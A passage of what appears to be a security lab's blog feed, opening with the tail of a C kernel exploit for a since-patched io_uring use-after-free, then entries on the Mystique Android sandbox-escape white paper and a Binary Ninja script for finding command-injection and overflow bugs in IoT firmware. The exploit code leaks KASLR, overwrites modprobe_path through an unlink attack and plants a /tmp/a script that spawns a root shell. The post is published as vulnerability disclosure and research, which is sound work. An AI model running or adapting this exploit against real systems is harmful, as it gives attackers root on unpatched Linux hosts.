class="number">0x800</span>;</span><br><span class="line">    tmp[IDX(<span class="number">0x840</span> - <span class="number">0x60</span>)] = <span class="number">0xdeadbeef</span>;</span><br><span class="line"></span><br><span class="line">    ret = msgsnd(msgid[<span class="number">3</span>], msg, msg_len, <span class="number">0</span>); <span class="comment">//然后再次发送消息, 为了防止干扰, 一个队列发送一个消息</span></span><br><span class="line">    LOG(ret);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 11. 读出msg2, 从而越界读出io_uring_ctx, 泄露kaslr</span></span><br><span class="line">    msgrcv(msgid[<span class="number">2</span>], buffer, PAGE_SIZE, <span class="comment">/* msg_type= */</span> (<span class="type">long</span>)<span class="number">0x0001</span>, <span class="number">0</span>);</span><br><span class="line">    uLL* io_ring_ctx = (uLL*)(buffer + <span class="number">0x8</span> + <span class="number">0x800</span> - <span class="number">0x30</span>);</span><br><span class="line">    <span class="comment">// Hexdump(io_ring_ctx, 0x200);</span></span><br><span class="line">    LOG(io_ring_ctx[<span class="number">0x420</span> / <span class="number">8</span>]); <span class="comment">// io_ring_ctx::fallback_work</span></span><br><span class="line">    LL kaslr = io_ring_ctx[<span class="number">0x420</span> / <span class="number">8</span>] - <span class="number">0xffffffff81083250</span>;</span><br><span class="line">    LOG(kaslr);</span><br><span class="line">    LL modprobe_path = kaslr + <span class="number">0xffffffff82850e40</span>;</span><br><span class="line">    LOG(modprobe_path);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 12. 利用msg3重新覆盖msg2, 伪造msg_msg对象</span></span><br><span class="line">    <span class="comment">// 首先再次发送msg2, 为防止干扰, 发送msgid[4]中</span></span><br><span class="line">    msg_len = <span class="number">0x800</span> - <span class="number">0x30</span>;</span><br><span class="line">    <span class="built_in">memset</span>(msg-&gt;mtext, <span class="number">0x00</span>, msg_len);</span><br><span class="line">    msgsnd(msgid[<span class="number">4</span>], msg, msg_len, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// 然后释放掉msg3</span></span><br><span class="line">    ret = msgrcv(msgid[<span class="number">3</span>], buffer, PAGE_SIZE, <span class="comment">/* msg_type= */</span> (<span class="type">long</span>)<span class="number">0x0001</span>, <span class="number">0</span>);</span><br><span class="line">    LOG(ret);</span><br><span class="line">    <span class="comment">// 开始构造msg2</span></span><br><span class="line">    msg_len = <span class="number">0x800</span> - <span class="number">0x30</span>;</span><br><span class="line">    tmp = (uLL*)msg-&gt;mtext;</span><br><span class="line">    <span class="comment">// msg3+0x800-0x60处就是msg2的头部</span></span><br><span class="line">    tmp[IDX(<span class="number">0x420</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x420</span>; <span class="comment">//自旋指针,msg1-&gt;next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash</span></span><br><span class="line">    tmp[IDX(<span class="number">0x800</span> - <span class="number">0x60</span>)] = modprobe_path - <span class="number">0x8</span>; <span class="comment">// msg3.m_list.prev</span></span><br><span class="line">    tmp[IDX(<span class="number">0x808</span> - <span class="number">0x60</span>)] = <span class="number">0x612f706d742f</span>; <span class="comment">// msg3.m_list.next = &quot;/tmp/a\x00&quot;</span></span><br><span class="line">    tmp[IDX(<span class="number">0x810</span> - <span class="number">0x60</span>)] = <span class="number">0x00001</span>; <span class="comment">// msg3.m_type</span></span><br><span class="line">    tmp[IDX(<span class="number">0x818</span> - <span class="number">0x60</span>)] = <span class="number">0xFD0</span>; <span class="comment">// msg3.m_ts</span></span><br><span class="line">    tmp[IDX(<span class="number">0x820</span> - <span class="number">0x60</span>)] = <span class="number">0</span>; <span class="comment">// msg3.next</span></span><br><span class="line">    tmp[IDX(<span class="number">0x828</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x840</span>; <span class="comment">// msg3.security, 指向可读区域就好</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 分配msg3, 利用msg3.mtext覆盖掉msg2, 同理为防止干扰, 发送到msgid[5]</span></span><br><span class="line">    msgsnd(msgid[<span class="number">5</span>], msg, msg_len, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (fork() == <span class="number">0</span>) &#123; <span class="comment">//子进程触发unlink attack</span></span><br><span class="line">        msgrcv(msgid[<span class="number">4</span>], buffer, PAGE_SIZE, <span class="comment">/* msg_type= */</span> (<span class="type">long</span>)<span class="number">0x0001</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 13. 等待unlink attack完成, 检查是否覆盖成功</span></span><br><span class="line">    sleep(<span class="number">2</span>);</span><br><span class="line">    <span class="type">int</span> fd = open(<span class="string">&quot;/proc/sys/kernel/modprobe&quot;</span>, O_RDONLY);</span><br><span class="line">    LOG(fd);</span><br><span class="line">    read(fd, buffer, <span class="number">0x10</span>);</span><br><span class="line">    <span class="built_in">puts</span>(buffer);</span><br><span class="line">    close(fd);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 14. 构造提权脚本/tmp/a并触发</span></span><br><span class="line">    fd = open(<span class="string">&quot;/tmp/a&quot;</span>, O_RDWR|O_CREAT);</span><br><span class="line">    <span class="type">char</span> *script = <span class="string">&quot;#!/bin/sh\nchmod 777 /flag\nsetsid cttyhack setuidgid 0 /bin/sh\n&quot;</span>;</span><br><span class="line">    write(fd, script, <span class="built_in">strlen</span>(script));</span><br><span class="line">    close(fd);</span><br><span class="line">    system(<span class="string">&quot;chmod 777 /tmp/a&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// write a wrong execute file</span></span><br><span class="line">    <span class="type">int</span> ff = open(<span class="string">&quot;/tmp/asd&quot;</span>, O_WRONLY | O_CREAT);</span><br><span class="line">    write(ff, <span class="string">&quot;\xff\xff\xff\xff&quot;</span>, <span class="number">4</span>);</span><br><span class="line">    close(ff);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// trigger modprobe</span></span><br><span class="line">    system(<span class="string">&quot;chmod 777 /tmp/asd; /tmp/asd&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(fork()==<span class="number">0</span>)</span><br><span class="line">        system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;alive&quot;</span>);</span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>)</span><br><span class="line">        ;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>抛开具体的漏洞利用技巧, 该漏洞告诉我们新的代码往往是buggy的，需要时间来进行检验才会变的稳定可靠。io_uring作为一个蓬勃发展的模块, 代码量已经膨胀到仅2万行, 在提升IO效率的同时, 其安全性值得关注.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在&lt;a href=&quot;https://github.com/torvalds/linux/commit/ec8516f3b7c40ba7050e6b3a32467e9de451ecdf&quot;&gt;5.19-rc8&lt;/a&gt;中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>the Mystique Vulnerability White Paper</title>
    <link href="https://dawnslab.jd.com/mystique-paper-en/"/>
    <id>https://dawnslab.jd.com/mystique-paper-en/</id>
    <published>2022-05-23T11:40:47.000Z</published>
    <updated>2025-08-21T06:15:23.911Z</updated>
    
    <content type="html"><![CDATA[<h3 id="abstract"><a class="markdownIt-Anchor" href="#abstract"></a> Abstract</h3><p>The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.</p><p>However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain “Mystique” after the famous Marvel Comics character due to the similar ability it possesses.</p><p>In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.</p><span id="more"></span><h3 id="details"><a class="markdownIt-Anchor" href="#details"></a> Details</h3><p><a href="/mystique-paper/mystique-paper.pdf">the Mystique Vulnerability White Paper</a><br /><a href="/mystique-paper/CSW22-mystique.pdf">CanSecWest2022 sliders</a></p>]]></content>
    
    
    <summary type="html">&lt;h3 id=&quot;abstract&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#abstract&quot;&gt;&lt;/a&gt; Abstract&lt;/h3&gt;
&lt;p&gt;The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.&lt;/p&gt;
&lt;p&gt;However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain “Mystique” after the famous Marvel Comics character due to the similar ability it possesses.&lt;/p&gt;
&lt;p&gt;In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>魔形女漏洞白皮书</title>
    <link href="https://dawnslab.jd.com/mystique-paper/"/>
    <id>https://dawnslab.jd.com/mystique-paper/</id>
    <published>2022-05-23T11:25:09.000Z</published>
    <updated>2025-08-21T06:15:23.911Z</updated>
    
    <content type="html"><![CDATA[<h3 id="摘要"><a class="markdownIt-Anchor" href="#摘要"></a> 摘要</h3><p>Android 应用程序沙箱是 Android 安全模型的基石，它保护并隔离每个应用程序的进程和数据。攻击者通常需要内核漏洞来逃离沙箱，由于新兴的缓解措施和攻击面收紧，这本身被证明是非常罕见和困难的。</p><p>但是，我们在 Android 11 稳定版中发现了一个漏洞，该漏洞完全来自用户空间。结合我们在主要Android供应商中发现的其他0day形成链，恶意零权限攻击者应用程序可以完全绕过Android应用程序沙箱，拥有Facebook和WhatsApp等任何其他应用程序，在用户无意识的情况下，读取应用程序数据，注入代码甚至木马化应用程序（包括非特权和特权的）。我们以著名的漫威漫画角色命名该连锁店“Mystique”，因为它拥有类似的能力。</p><p>在本次演讲中，我们将详细介绍整个漏洞链和包含的错误。在攻击方面，我们将详细讨论漏洞并分享我们的利用方法和框架，该方法和框架可以实现基于 Mystique 的各种目标应用程序的权限提升、透明进程注入/挂钩/调试和数据提取，这是以前从未讨论过的。在防御方面，我们将为应用程序开发人员和最终用户发布检测 SDK/工具，因为这种新型攻击与以前的攻击不同，很大程度上规避了传统分析。</p><span id="more"></span><h3 id="详细资料"><a class="markdownIt-Anchor" href="#详细资料"></a> 详细资料</h3><p><a href="mystique-paper.pdf">漏洞白皮书报告</a><br /><a href="CSW22-mystique.pdf">CanSecWest2022 演讲PPT</a></p>]]></content>
    
    
    <summary type="html">&lt;h3 id=&quot;摘要&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#摘要&quot;&gt;&lt;/a&gt; 摘要&lt;/h3&gt;
&lt;p&gt;Android 应用程序沙箱是 Android 安全模型的基石，它保护并隔离每个应用程序的进程和数据。攻击者通常需要内核漏洞来逃离沙箱，由于新兴的缓解措施和攻击面收紧，这本身被证明是非常罕见和困难的。&lt;/p&gt;
&lt;p&gt;但是，我们在 Android 11 稳定版中发现了一个漏洞，该漏洞完全来自用户空间。结合我们在主要Android供应商中发现的其他0day形成链，恶意零权限攻击者应用程序可以完全绕过Android应用程序沙箱，拥有Facebook和WhatsApp等任何其他应用程序，在用户无意识的情况下，读取应用程序数据，注入代码甚至木马化应用程序（包括非特权和特权的）。我们以著名的漫威漫画角色命名该连锁店“Mystique”，因为它拥有类似的能力。&lt;/p&gt;
&lt;p&gt;在本次演讲中，我们将详细介绍整个漏洞链和包含的错误。在攻击方面，我们将详细讨论漏洞并分享我们的利用方法和框架，该方法和框架可以实现基于 Mystique 的各种目标应用程序的权限提升、透明进程注入/挂钩/调试和数据提取，这是以前从未讨论过的。在防御方面，我们将为应用程序开发人员和最终用户发布检测 SDK/工具，因为这种新型攻击与以前的攻击不同，很大程度上规避了传统分析。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>To be a bug hunter with Binary Ninja in IoT</title>
    <link href="https://dawnslab.jd.com/binaryninja1-en/"/>
    <id>https://dawnslab.jd.com/binaryninja1-en/</id>
    <published>2022-05-22T16:35:21.000Z</published>
    <updated>2025-08-21T06:15:23.877Z</updated>
    
    <content type="html"><![CDATA[<p>Binary Ninja is an easy-to-use binary analysis platform that provides rich API interfaces to help security researchers perform automated analysis.</p><span id="more"></span><p><a href="/binaryninja1-zh-cn">中文版</a></p><p>Recently I am doing security research work on various IoT devices, these are mainly routers, NAS, NVR, IP cameras and other products. Normally, I will first try to download the firmware of these products on the Internet, and then use binwalk to unpack and analyze them. Most of them are Linux embedded systems. After obtaining their rootfs, the ELF program inside will be statically processed.</p><p>Based on experience, I will focus on the code written by the manufacturer when implementing some specific protocols, such as http, cgi, upnp, netatalk, sslvpn, etc. I have listed some vulnerability prototypes that I will audit during static analysis below. Although the dangerous functions listed below need to be banned in modern software development, due to historical reasons, many IoT devices still have these ancient codes left behind, and there are opportunities to be exploited by attackers.</p><p><img src="png1.png" alt="Untitled" /></p><p>After sorting out what needs to be done, the work of vulnerability hunting becomes more repetitive. The most time-consuming task is to audit the context when each function is referenced, and then check:</p><ol><li>Whether the current function call is safe (especially check whether there is the possibility of buffer overflow)</li><li>Can the attacker’s input reach this path</li></ol><p>If the above two conditions are met, it is likely that this is a exploitable vulnerability. However, when an ELF is more complex, the call relationship of these high-risk functions will become abnormally many, and it will become quite laborious to rely on human audit. For example, developers of manufacturers especially like to directly call the <code>system</code> function in CGI to realize some tasks, such as restarting the machine, checking updates, etc. Most of the parameters of the <code>system</code> function are beyond the control of the attacker. How we can quickly find the vulnerability that can be controlled by the attacker for command injection?</p><p>This obviously involves the category of static analysis. I can conduct a relatively complete analysis of the whole program according to the control flow and data flow, but it requires huge computational power, which is likely to lead to an exponential increase in analysis time. As a vulnerability digger, I am more concerned about how to find exploitable vulnerabilities than absolutely relying on computers to find bugs automatically. I can accept the false alarm generated by automatic analysis. As long as it is more convenient than pressing the X key in IDA for human flesh scanning, it can be regarded as automatic analysis. As for how to reduce its false positive rate, we can make this thing first and then consider this problem.</p><p>After investigation, I tried to use angr, IDApython and Ghrida for analysis, but the results were not satisfactory (maybe I was not familiar with the use of these software). Finally, I used binary Ninja to complete a simple automatic analysis tool</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> binaryninja <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> enum <span class="keyword">import</span> Enum, auto</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Error</span>(<span class="title class_ inherited__">Enum</span>):</span><br><span class="line">    FORMAT_UNCONSTANT = auto()</span><br><span class="line">    FORMAT_OVERFLOW = auto()</span><br><span class="line">    STACKOVERFLOW = auto()</span><br><span class="line">    COMMANDINJECT = auto()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_system</span>(<span class="params">bv,symbol=<span class="string">&quot;system&quot;</span></span>):</span><br><span class="line">    addr = get_function_addr(bv,symbol)</span><br><span class="line">    <span class="keyword">if</span> addr == <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    refs = bv.get_code_refs(addr)</span><br><span class="line">    ret = []</span><br><span class="line">    <span class="keyword">for</span> ref <span class="keyword">in</span> refs:</span><br><span class="line">        func = ref.function</span><br><span class="line">        cmd = func.get_parameter_at(ref.address,<span class="literal">None</span>,<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">if</span> is_constant(cmd):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        ret.append((symbol,func.name,ref.address,Error.COMMANDINJECT))</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_function_addr</span>(<span class="params">bv,symbol</span>):</span><br><span class="line">    syms = []</span><br><span class="line">    <span class="keyword">if</span> symbol <span class="keyword">in</span> bv.symbols:</span><br><span class="line">        syms = bv.symbols[symbol]</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;_%s&quot;</span>%symbol <span class="keyword">in</span> bv.symbols:</span><br><span class="line">        syms = bv.symbols[<span class="string">&quot;_%s&quot;</span>%symbol]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> syms:</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;mips32&quot;</span> == bv.arch.name <span class="keyword">or</span> <span class="string">&quot;mipsel32&quot;</span> == bv.arch.name:</span><br><span class="line">            <span class="keyword">if</span> i.<span class="built_in">type</span> == SymbolType.ImportAddressSymbol:</span><br><span class="line">                <span class="keyword">return</span> i.address</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> i.<span class="built_in">type</span> == SymbolType.ImportedFunctionSymbol:</span><br><span class="line">                <span class="keyword">return</span> i.address</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_constant</span>(<span class="params">a</span>):</span><br><span class="line">    <span class="keyword">return</span> a.<span class="built_in">type</span> == RegisterValueType.ConstantPointerValue <span class="keyword">or</span> a.<span class="built_in">type</span> == RegisterValueType.ConstantValue</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    input_file = sys.argv[<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(input_file + <span class="string">&quot;.bndb&quot;</span>):</span><br><span class="line">        bv = open_view(input_file + <span class="string">&quot;.bndb&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        bv = open_view(input_file)</span><br><span class="line">        settings = SaveSettings()</span><br><span class="line">        bv.create_database(input_file + <span class="string">&quot;.bndb&quot;</span>, <span class="literal">None</span>, settings)</span><br><span class="line">    ret = check_system(bv)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> ret:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;%-15s function: %-20s addr: 0x%x %s&quot;</span>%(i[<span class="number">0</span>],i[<span class="number">1</span>],i[<span class="number">2</span>],i[<span class="number">3</span>]))</span><br></pre></td></tr></table></figure><p>The main logic of the above code is in the check_system function. I just filter out the calls whose parameters are not constants when calling system, and finally output all the results. This greatly reduces the number of system calls I need to check. Similarly, I can also check whether there is a risk of buffer out-of-bounds in the call to sprintf through Binary Ninja’s API.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">check_sprintf</span>(<span class="params">bv,symbol = <span class="string">&quot;sprintf&quot;</span></span>):</span><br><span class="line">    addr = get_function_addr(bv,symbol)</span><br><span class="line">    <span class="keyword">if</span> addr == <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    refs = bv.get_code_refs(addr)</span><br><span class="line">    ret = []</span><br><span class="line">    <span class="keyword">for</span> ref <span class="keyword">in</span> refs:</span><br><span class="line">        func = ref.function</span><br><span class="line">        fmt = func.get_parameter_at(ref.address,<span class="literal">None</span>,<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_constant(fmt):</span><br><span class="line">            ret.append((symbol,func.name,ref.address,Error.FORMAT_UNCONSTANT))</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        asc = bv.get_ascii_string_at(fmt.value,min_length = <span class="number">2</span>)</span><br><span class="line">        <span class="keyword">if</span> asc == <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        fmt_value = asc.value</span><br><span class="line">        cidx = <span class="number">0</span></span><br><span class="line">        arg_idx = <span class="number">1</span></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            idx = fmt_value.find(<span class="string">&quot;%&quot;</span>,cidx)</span><br><span class="line">            <span class="keyword">if</span> idx &lt; <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            arg_idx += <span class="number">1</span></span><br><span class="line">            cidx = idx + <span class="number">1</span></span><br><span class="line">            <span class="keyword">if</span> fmt_value[idx:].startswith(<span class="string">&quot;%s&quot;</span>):</span><br><span class="line">                arg = func.get_parameter_at(ref.address,<span class="literal">None</span>,arg_idx)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> is_constant(arg):</span><br><span class="line">                    ret.append((symbol,func.name,ref.address,Error.FORMAT_OVERFLOW))</span><br><span class="line">    <span class="keyword">return</span> ret</span><br></pre></td></tr></table></figure><p>The false positive rate of the above vulnerability analysis will still be relatively high, based on experience, I often add some additional constraints that do not seem to be particularly correct:</p><ul><li><p>strcpy strcat<br />Require the dst parameter to be stack space (more likely to appear stackoverflow)</p></li><li><p>system<br />Require calls to snprintf or sprintf at the same time as system is called (command injection is more likely)</p></li><li><p>sscanf<br />It is required to call sscanf without calling fopen (the developer will use sscanf to read the information in the configuration file)</p></li></ul><p>Through the above constraints, the results of the automatic analysis output can generally be used as a reference for static analysis, but if you want to perform batch firmware analysis, further optimization is required. At present, I am researching how to use Binary Ninja’s intermediate language to conduct a relatively complete data flow analysis to further reduce the false positive rate. If there are other updates, I will synchronize them here. Interested students are also welcome to contact me.</p><p>References</p><ol><li><a href="https://www.zerodayinitiative.com/blog/2022/2/14/static-taint-analysis-using-binary-ninja-a-case-study-of-mysql-cluster-vulnerabilities">https://www.zerodayinitiative.com/blog/2022/2/14/static-taint-analysis-using-binary-ninja-a-case-study-of-mysql-cluster-vulnerabilities</a></li><li><a href="https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/">https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/</a></li><li><a href="https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/">https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Binary Ninja is an easy-to-use binary analysis platform that provides rich API interfaces to help security researchers perform automated analysis.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>使用Binary Ninja进行IoT设备漏洞挖掘</title>
    <link href="https://dawnslab.jd.com/binaryninja1-zh-cn/"/>
    <id>https://dawnslab.jd.com/binaryninja1-zh-cn/</id>
    <published>2022-05-22T13:00:59.000Z</published>
    <updated>2025-08-21T06:15:23.881Z</updated>
    
    <content type="html"><![CDATA[<p>Binary Ninja是一款简单易用的二进制分析平台，它提供了丰富的API接口，可以帮助安全研究人员进行自动化的分析。</p><span id="more"></span><p><a href="/binaryninja1-en">English version</a></p><p>最近我在进行各种IoT设备的安全研究工作，这些主要是一些路由器、NAS、NVR、IP摄像头之类的产品。通常情况下我会首先尝试去在网上下载这些产品的固件，然后使用binwalk进行解包分析，他们绝大多数都是Linux嵌入式系统，获得了它们的rootfs以后，会对里面的ELF程序进行静态分析。</p><p>根据经验，我会重点关注厂商在实现一些特定协议时自己写的代码，如http 、cgi、upnp、netatalk、sslvpn等。我下面列出了静态分析时自己会审计的一些漏洞原型，虽然下面列出的危险函数在现代化的软件开发中需要被禁止使用，但由于历史原因，很多IoT设备上还是会遗留这些古老的代码，存在被攻击者利用的机会。</p><p><img src="png1.png" alt="Untitled" /></p><p>在理清楚需要做的事情以后，漏洞挖掘的工作就变得比较重复。最费时的任务就是依次去审计每个函数被引用时的上下文，然后去判断：</p><ol><li>当前的函数调用是否安全（尤其需要检查是否存在缓冲区溢出的可能）</li><li>攻击者的输入是否可以到达这个路径</li></ol><p>如果以上两个条件都满足，那么很有可能这就是一个可被利用的漏洞。不过，一个ELF比较复杂时，这些高危函数的调用关系会变得异常多，依靠人力去肉眼审计会变得相当费力。比如厂商的开发人员特别喜欢在cgi里直接调用system函数来实现某些任务，比如重启机器、检查更新等，绝大多数system函数的参数都不是攻击者能够控制的，那么如何能够快速找到那么可以被攻击者控制进行命令注入的漏洞呢？</p><p>这显然涉及到了静态分析的范畴，我可以根据控制流、数据流对整个程序进行比较完备的分析，但是这需要耗费巨大的算力，很有可能导致分析时间呈现指数级的增长。作为一名漏洞挖掘人员，我更关心如何找到可以利用的漏洞，而不是绝对地依靠计算机去自动化发现bug。我可以接受自动化分析产生的误报，只要是比起我在IDA里面按下X键进行人肉扫描方便，那么这就可以被认为是自动化分析。至于如何降低它的误报率，可以先把这个东西做出来，再考虑这个问题。</p><p>经过调查，我尝试了使用angr、IDAPython、Ghrida进行分析工作，但结果并不太满意（也许是我对这些软件的使用并不太熟悉），最后我使用Binary Ninja完成了一个简单的自动化分析工具</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> binaryninja <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> enum <span class="keyword">import</span> Enum, auto</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Error</span>(<span class="title class_ inherited__">Enum</span>):</span><br><span class="line">    FORMAT_UNCONSTANT = auto()</span><br><span class="line">    FORMAT_OVERFLOW = auto()</span><br><span class="line">    STACKOVERFLOW = auto()</span><br><span class="line">    COMMANDINJECT = auto()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_system</span>(<span class="params">bv,symbol=<span 